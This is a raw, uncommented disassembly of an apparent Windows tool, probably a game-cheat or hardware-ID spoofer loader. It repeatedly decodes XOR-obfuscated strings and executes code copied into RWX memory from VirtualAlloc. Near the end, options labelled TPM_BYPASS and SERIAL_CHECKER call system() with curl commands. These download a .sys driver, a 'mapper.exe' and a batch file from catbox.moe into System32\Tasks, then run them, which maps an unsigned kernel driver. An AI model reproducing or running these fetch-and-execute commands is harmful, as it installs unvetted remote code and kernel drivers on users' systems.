nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140041f30
cmp r8d, 0x2f
jge 0x140042084
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x140042050
mov r8, r10
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x878]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x1400420a4
mov rax, qword [rax]
mov qword [rbp + 0x778], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x1400420f9
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x1400420e6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x1400420d0
jmp 0x1400420f9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x1400421e7
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042120
mov r8, r12
jmp 0x1400421bf
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140042130
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x778]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0x890]
cmp rdx, 0xf
jbe 0x140042238
mov rcx, qword [rbp + 0x878]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042233
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x418]
mov qword [rbp + 0x888], r12
mov qword [rbp + 0x890], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x878], 0
cmp rdx, 0xf
jbe 0x1400422dd
mov rcx, qword [rbp + 0x400]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004228d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, [rbp + 0x670]
mov qword [rbp + 0x410], r12
mov qword [rbp + 0x418], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x400], 0
call fcn.14003c7b0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, rax
mov eax, dword [0x1400ca718]
mov dword [rbp + 0x338], eax
movzx eax, word [0x1400ca71c]
mov word [rbp + 0x33c], ax
jmp 0x140042326
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x670]
mov qword [rbp + 0x410], r12
mov qword [rbp + 0x418], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x400], 0
call fcn.14003c7b0
mov ecx, dword [0x1400ca718]
mov r10, rax
mov dword [rbp + 0x338], ecx
movzx ecx, word [0x1400ca71c]
mov word [rbp + 0x33c], cx
movzx eax, byte [0x1400ca71e]
mov r8d, r12d
mov byte [rbp + 0x33e], al
movups xmm0, xmmword [0x1400ca6f0]
movups xmm1, xmmword [0x1400ca700]
movups xmmword [rbp + 0x310], xmm0
movsd xmm0, qword [0x1400ca710]
movsd qword [rbp + 0x330], xmm0
movups xmmword [rbp + 0x320], xmm1
cmp esi, 2
jl 0x1400424af
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x310]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x1400423a0
cmp r8d, 0x2f
jge 0x1400424f4
movsxd rax, r8d
lea r9, [rbp + 0x310]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x1400424c0
mov r8, r10
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x898]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x140042514
mov rax, qword [rax]
mov qword [rbp + 0x770], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x140042569
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x140042556
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x140042540
jmp 0x140042569
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x140042657
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042590
mov r8, r12
jmp 0x14004262f
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400425a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x770]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0x8b0]
cmp rdx, 0xf
jbe 0x1400426a8
mov rcx, qword [rbp + 0x898]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400426a3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x688]
mov qword [rbp + 0x8a8], r12
mov qword [rbp + 0x8b0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x898], 0
cmp rdx, 0xf
jbe 0x14004274d
mov rcx, qword [rbp + 0x670]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400426fd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, [rbp + 0x650]
mov qword [rbp + 0x680], r12
mov qword [rbp + 0x688], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x670], 0
call fcn.14003c7b0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, rax
mov eax, dword [0x1400ca908]
mov dword [rbp + 0x368], eax
movzx eax, word [0x1400ca90c]
mov word [rbp + 0x36c], ax
jmp 0x140042796
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x650]
mov qword [rbp + 0x680], r12
mov qword [rbp + 0x688], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x670], 0
call fcn.14003c7b0
mov ecx, dword [0x1400ca908]
mov r10, rax
mov dword [rbp + 0x368], ecx
movzx ecx, word [0x1400ca90c]
mov word [rbp + 0x36c], cx
movzx eax, byte [0x1400ca90e]
mov r8d, r12d
mov byte [rbp + 0x36e], al
movups xmm0, xmmword [0x1400ca8e0]
movups xmm1, xmmword [0x1400ca8f0]
movups xmmword [rbp + 0x340], xmm0
movsd xmm0, qword [0x1400ca900]
movsd qword [rbp + 0x360], xmm0
movups xmmword [rbp + 0x350], xmm1
cmp esi, 2
jl 0x14004291f
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x340]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140042810
cmp r8d, 0x2f
jge 0x140042964
movsxd rax, r8d
lea r9, [rbp + 0x340]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x140042930
mov r8, r10
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x8b8]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x140042984
mov rax, qword [rax]
mov qword [rbp + 0x768], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x1400429d9
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x1400429c6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x1400429b0
jmp 0x1400429d9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x140042ac7
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042a00
mov r8, r12
jmp 0x140042a9f
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140042a10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x768]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0x8d0]
cmp rdx, 0xf
jbe 0x140042b18
mov rcx, qword [rbp + 0x8b8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042b13
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x668]
mov qword [rbp + 0x8c8], r12
mov qword [rbp + 0x8d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8b8], 0
cmp rdx, 0xf
jbe 0x140042bbd
mov rcx, qword [rbp + 0x650]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042b6d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, [rbp + 0x630]
mov qword [rbp + 0x660], r12
mov qword [rbp + 0x668], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x650], 0
call fcn.14003c7b0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, rax
mov eax, dword [0x1400ca6e8]
mov dword [rbp + 0x158], eax
movzx eax, word [0x1400ca6ec]
mov word [rbp + 0x15c], ax
jmp 0x140042c06
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x630]
mov qword [rbp + 0x660], r12
mov qword [rbp + 0x668], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x650], 0
call fcn.14003c7b0
mov ecx, dword [0x1400ca6e8]
mov r10, rax
mov dword [rbp + 0x158], ecx
movzx ecx, word [0x1400ca6ec]
mov word [rbp + 0x15c], cx
movzx eax, byte [0x1400ca6ee]
mov r8d, r12d
mov byte [rbp + 0x15e], al
movups xmm0, xmmword [0x1400ca6c0]
movups xmm1, xmmword [0x1400ca6d0]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x1400ca6e0]
movsd qword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x140], xmm1
cmp esi, 2
jl 0x140042d8f
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x130]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140042c80
cmp r8d, 0x2f
jge 0x140042dd4
movsxd rax, r8d
lea r9, [rbp + 0x130]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x140042da0
mov r8, r10
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x8d8]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x140042df4
mov rax, qword [rax]
mov qword [rbp + 0x718], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x140042e49
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x140042e36
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x140042e20
jmp 0x140042e49
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x140042f37
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042e70
mov r8, r12
jmp 0x140042f0f
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140042e80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x718]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0x8f0]
cmp rdx, 0xf
jbe 0x140042f88
mov rcx, qword [rbp + 0x8d8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042f83
mov rdx, qword [rbp + 0x648]
mov qword [rbp + 0x8e8], r12
mov qword [rbp + 0x8f0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8d8], 0
cmp rdx, 0xf
jbe 0x14004302d
movss xmm3, dword [0x140178f90]
lea rdx, [0x1400ca3d8]
movss xmm0, dword [0x1400cac78]
lea rcx, str.TPM_BYPASS
movss xmm6, dword [0x1400cac6c]
movaps xmm2, xmm7
movss dword [rsp + 0x28], xmm8
addss xmm3, xmm6
movss dword [rsp + 0x20], xmm0
call fcn.14003a000
test al, al
je 0x140045ffe
mov byte [0x14017a01b], 1
jmp 0x140046007
cmp byte [0x14017a01b], 0
je 0x140046035
lea rcx, str.curl___silent_https:__files.catbox.moe_g1k2xh.sys___output_C:WindowsSystem32Tasks_tpm.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_7khamo.bb___output_C:WindowsSystem32Tasksmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe_C:WindowsSystem32Tasks_tpm.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14017a01b], 0
movss xmm3, dword [0x140178f90]
lea rdx, [0x1400ca528]
movss xmm0, dword [0x1400cac78]
addss xmm3, xmm6
movss xmm2, dword [0x1400cac2c]
lea rcx, str.SERIAL_CHECKER
movss dword [rsp + 0x28], xmm8
movss dword [rsp + 0x20], xmm0
call fcn.14003a000
test al, al
je 0x14004607e
mov byte [0x14017a019], 1
jmp 0x140046087
cmp byte [0x14017a019], 0
je 0x1400460a8
lea rcx, str.curl___silent_https:__files.catbox.moe_0qmm0e.bat___output_C:WindowsSystem32TasksSerialsChecker.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32TasksSerialsChecker.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14017a019], 0
call fcn.14000b6f0
call fcn.140010ac0
call fcn.14000abd0
mov rcx, qword [0x14017a448]
lea r8, [0x14017a3f0]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x1368], xmm0
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14017a448]
lea r8, [rbp + 0x1368]
mov rdx, qword [0x14017a3f0]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rax, qword [0x14017a020]
xor r14d, r14d
mov rcx, qword [rax + 0x4b20]
mov rax, qword [rcx]
